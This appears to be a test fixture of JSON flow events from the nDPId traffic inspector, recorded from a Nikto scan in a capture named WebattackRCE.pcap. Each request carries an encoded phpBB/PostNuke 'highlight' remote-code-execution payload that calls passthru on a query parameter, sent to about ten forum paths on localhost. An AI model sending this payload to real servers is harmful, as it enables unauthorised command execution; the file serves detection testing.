+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":649,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":649,"flow_packet_id":1,"flow_first_seen":1576420277743,"flow_last_seen":0,"flow_tot_l4_data_len":306,"flow_min_l4_data_len":306,"flow_max_l4_data_len":306,"flow_avg_l4_data_len":306,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50860,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00805{"flow_id":649,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":649,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":743722,"pkt_caplen":340,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":340,"pkt_l4_len":306,"pkt":"AAAAAAAAAAAAAAAACABFAAFGAG5AAEAGO0J\/AAABfwAAAcasH5AOKDl4jiUqhYAYAED\/OgAAAQEICp1m\/xedZv8XR0VUIC92aWV3dG9waWMucGhwP3Q9MiZydXNoPSU2NCU2OSU3MiZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzg5KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00894{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":649,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":649,"flow_packet_id":1,"flow_first_seen":1576420277743,"flow_last_seen":0,"flow_tot_l4_data_len":306,"flow_min_l4_data_len":306,"flow_max_l4_data_len":306,"flow_avg_l4_data_len":306,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50860,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/viewtopic.php?t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001389)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":650,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":650,"flow_packet_id":1,"flow_first_seen":1576420277745,"flow_last_seen":0,"flow_tot_l4_data_len":329,"flow_min_l4_data_len":329,"flow_max_l4_data_len":329,"flow_avg_l4_data_len":329,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50862,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00835{"flow_id":650,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":650,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":745325,"pkt_caplen":363,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":363,"pkt_l4_len":329,"pkt":"AAAAAAAAAAAAAAAACABFAAFddiRAAEAGxXR\/AAABfwAAAcauH5DeiE8\/TEH5WoAYAED\/UQAAAQEICp1m\/xmdZv8ZR0VUIC9pbmRleC5waHA\/bmFtZT1Gb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTY0JTY5JTcyJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTM5MCkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00917{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":650,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":650,"flow_packet_id":1,"flow_first_seen":1576420277745,"flow_last_seen":0,"flow_tot_l4_data_len":329,"flow_min_l4_data_len":329,"flow_max_l4_data_len":329,"flow_avg_l4_data_len":329,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50862,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.php?name=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001390)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":651,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":651,"flow_packet_id":1,"flow_first_seen":1576420277746,"flow_last_seen":0,"flow_tot_l4_data_len":338,"flow_min_l4_data_len":338,"flow_max_l4_data_len":338,"flow_avg_l4_data_len":338,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50864,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00846{"flow_id":651,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":651,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":746670,"pkt_caplen":372,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":372,"pkt_l4_len":338,"pkt":"AAAAAAAAAAAAAAAACABFAAFmjyxAAEAGrGN\/AAABfwAAAcawH5C1dLY3dpi6dIAYAED\/WgAAAQEICp1m\/xqdZv8aR0VUIC9wb3N0bnVrZS9pbmRleC5waHA\/bmFtZT1Gb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTY0JTY5JTcyJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTApDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00927{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":651,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":651,"flow_packet_id":1,"flow_first_seen":1576420277746,"flow_last_seen":0,"flow_tot_l4_data_len":338,"flow_min_l4_data_len":338,"flow_max_l4_data_len":338,"flow_avg_l4_data_len":338,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50864,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/postnuke\/index.php?name=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001390)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":652,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":652,"flow_packet_id":1,"flow_first_seen":1576420277747,"flow_last_seen":0,"flow_tot_l4_data_len":343,"flow_min_l4_data_len":343,"flow_max_l4_data_len":343,"flow_avg_l4_data_len":343,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50866,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00853{"flow_id":652,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":652,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":747996,"pkt_caplen":377,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":377,"pkt_l4_len":343,"pkt":"AAAAAAAAAAAAAAAACABFAAFrmeBAAEAGoap\/AAABfwAAAcayH5AmkqDEx1CXDIAYAED\/XwAAAQEICp1m\/xudZv8bR0VUIC9wb3N0bnVrZS9odG1sL2luZGV4LnBocD9uYW1lPUZvcnVtcyZmaWxlPXZpZXd0b3BpYyZ0PTImcnVzaD0lNjQlNjklNzImaGlnaGxpZ2h0PSUyNTI3LiU3MCU2MSU3MyU3MyU3NCU2OCU3MiU3NSUyOCUyNCU0OCU1NCU1NCU1MCU1ZiU0NyU0NSU1NCU1ZiU1NiU0MSU1MiU1MyU1YiU3MiU3NSU3MyU2OCU1ZCUyOS4lMjUyNyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTM5MCkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00933{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":652,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":652,"flow_packet_id":1,"flow_first_seen":1576420277747,"flow_last_seen":0,"flow_tot_l4_data_len":343,"flow_min_l4_data_len":343,"flow_max_l4_data_len":343,"flow_avg_l4_data_len":343,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50866,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/postnuke\/html\/index.php?name=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001390)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":653,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":653,"flow_packet_id":1,"flow_first_seen":1576420277749,"flow_last_seen":0,"flow_tot_l4_data_len":337,"flow_min_l4_data_len":337,"flow_max_l4_data_len":337,"flow_avg_l4_data_len":337,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50868,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00845{"flow_id":653,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":653,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":749444,"pkt_caplen":371,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":371,"pkt_l4_len":337,"pkt":"AAAAAAAAAAAAAAAACABFAAFlinpAAEAGsRZ\/AAABfwAAAca0H5BJbLNma4SLi4AYAED\/WQAAAQEICp1m\/x2dZv8dR0VUIC9tb2R1bGVzL2luZGV4LnBocD9uYW1lPUZvcnVtcyZmaWxlPXZpZXd0b3BpYyZ0PTImcnVzaD0lNjQlNjklNzImaGlnaGxpZ2h0PSUyNTI3LiU3MCU2MSU3MyU3MyU3NCU2OCU3MiU3NSUyOCUyNCU0OCU1NCU1NCU1MCU1ZiU0NyU0NSU1NCU1ZiU1NiU0MSU1MiU1MyU1YiU3MiU3NSU3MyU2OCU1ZCUyOS4lMjUyNyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzkwKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00926{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":653,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":653,"flow_packet_id":1,"flow_first_seen":1576420277749,"flow_last_seen":0,"flow_tot_l4_data_len":337,"flow_min_l4_data_len":337,"flow_max_l4_data_len":337,"flow_avg_l4_data_len":337,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50868,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/modules\/index.php?name=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001390)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":654,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":654,"flow_packet_id":1,"flow_first_seen":1576420277750,"flow_last_seen":0,"flow_tot_l4_data_len":335,"flow_min_l4_data_len":335,"flow_max_l4_data_len":335,"flow_avg_l4_data_len":335,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50870,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00842{"flow_id":654,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":654,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":750871,"pkt_caplen":369,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":369,"pkt_l4_len":335,"pkt":"AAAAAAAAAAAAAAAACABFAAFjJWNAAEAGFjB\/AAABfwAAAca2H5CBThx9EGPplIAYAED\/VwAAAQEICp1m\/x6dZv8eR0VUIC9waHBCQi9pbmRleC5waHA\/bmFtZT1Gb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTY0JTY5JTcyJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTApDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00924{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":654,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":654,"flow_packet_id":1,"flow_first_seen":1576420277750,"flow_last_seen":0,"flow_tot_l4_data_len":335,"flow_min_l4_data_len":335,"flow_max_l4_data_len":335,"flow_avg_l4_data_len":335,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50870,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/phpBB\/index.php?name=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001390)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":655,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":655,"flow_packet_id":1,"flow_first_seen":1576420277752,"flow_last_seen":0,"flow_tot_l4_data_len":335,"flow_min_l4_data_len":335,"flow_max_l4_data_len":335,"flow_avg_l4_data_len":335,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50872,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00842{"flow_id":655,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":655,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":752231,"pkt_caplen":369,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":369,"pkt_l4_len":335,"pkt":"AAAAAAAAAAAAAAAACABFAAFjNwZAAEAGBI1\/AAABfwAAAca4H5DKtQ4b91nN3YAYAED\/VwAAAQEICp1m\/yCdZv8gR0VUIC9mb3J1bS9pbmRleC5waHA\/bmFtZT1Gb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTY0JTY5JTcyJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTApDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00924{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":655,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":655,"flow_packet_id":1,"flow_first_seen":1576420277752,"flow_last_seen":0,"flow_tot_l4_data_len":335,"flow_min_l4_data_len":335,"flow_max_l4_data_len":335,"flow_avg_l4_data_len":335,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50872,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/forum\/index.php?name=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001390)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":656,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":656,"flow_packet_id":1,"flow_first_seen":1576420277753,"flow_last_seen":0,"flow_tot_l4_data_len":330,"flow_min_l4_data_len":330,"flow_max_l4_data_len":330,"flow_avg_l4_data_len":330,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50874,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00838{"flow_id":656,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":656,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":753514,"pkt_caplen":364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":364,"pkt_l4_len":330,"pkt":"AAAAAAAAAAAAAAAACABFAAFeFwdAAEAGJJF\/AAABfwAAAca6H5C+9y4cicj8j4AYAED\/UgAAAQEICp1m\/yGdZv8hR0VUIC9pbmRleC5waHA\/TmlrdG89Rm9ydW1zJmZpbGU9dmlld3RvcGljJnQ9MiZydXNoPSU2NCU2OSU3MiZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzkwKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00918{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":656,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":656,"flow_packet_id":1,"flow_first_seen":1576420277753,"flow_last_seen":0,"flow_tot_l4_data_len":330,"flow_min_l4_data_len":330,"flow_max_l4_data_len":330,"flow_avg_l4_data_len":330,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50874,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.php?Nikto=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001390)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":657,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":657,"flow_packet_id":1,"flow_first_seen":1576420277754,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50876,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00850{"flow_id":657,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":657,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":754790,"pkt_caplen":373,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":373,"pkt_l4_len":339,"pkt":"AAAAAAAAAAAAAAAACABFAAFnn4NAAEAGnAt\/AAABfwAAAca8H5BO76agHBQLN4AYAED\/WwAAAQEICp1m\/yKdZv8iR0VUIC9wb3N0bnVrZS9pbmRleC5waHA\/TmlrdG89Rm9ydW1zJmZpbGU9dmlld3RvcGljJnQ9MiZydXNoPSU2NCU2OSU3MiZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTApDQoNCg=="} +00928{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":657,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":657,"flow_packet_id":1,"flow_first_seen":1576420277754,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50876,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/postnuke\/index.php?Nikto=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001390)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":658,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":658,"flow_packet_id":1,"flow_first_seen":1576420277756,"flow_last_seen":0,"flow_tot_l4_data_len":344,"flow_min_l4_data_len":344,"flow_max_l4_data_len":344,"flow_avg_l4_data_len":344,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50878,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00853{"flow_id":658,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":658,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":756254,"pkt_caplen":378,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":378,"pkt_l4_len":344,"pkt":"AAAAAAAAAAAAAAAACABFAAFsUT9AAEAG6kp\/AAABfwAAAca+H5B2qmgj3lZSb4AYAED\/YAAAAQEICp1m\/ySdZv8kR0VUIC9wb3N0bnVrZS9odG1sL2luZGV4LnBocD9OaWt0bz1Gb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTY0JTY5JTcyJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTApDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00934{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":658,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":658,"flow_packet_id":1,"flow_first_seen":1576420277756,"flow_last_seen":0,"flow_tot_l4_data_len":344,"flow_min_l4_data_len":344,"flow_max_l4_data_len":344,"flow_avg_l4_data_len":344,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50878,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/postnuke\/html\/index.php?Nikto=Forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001390)"}} 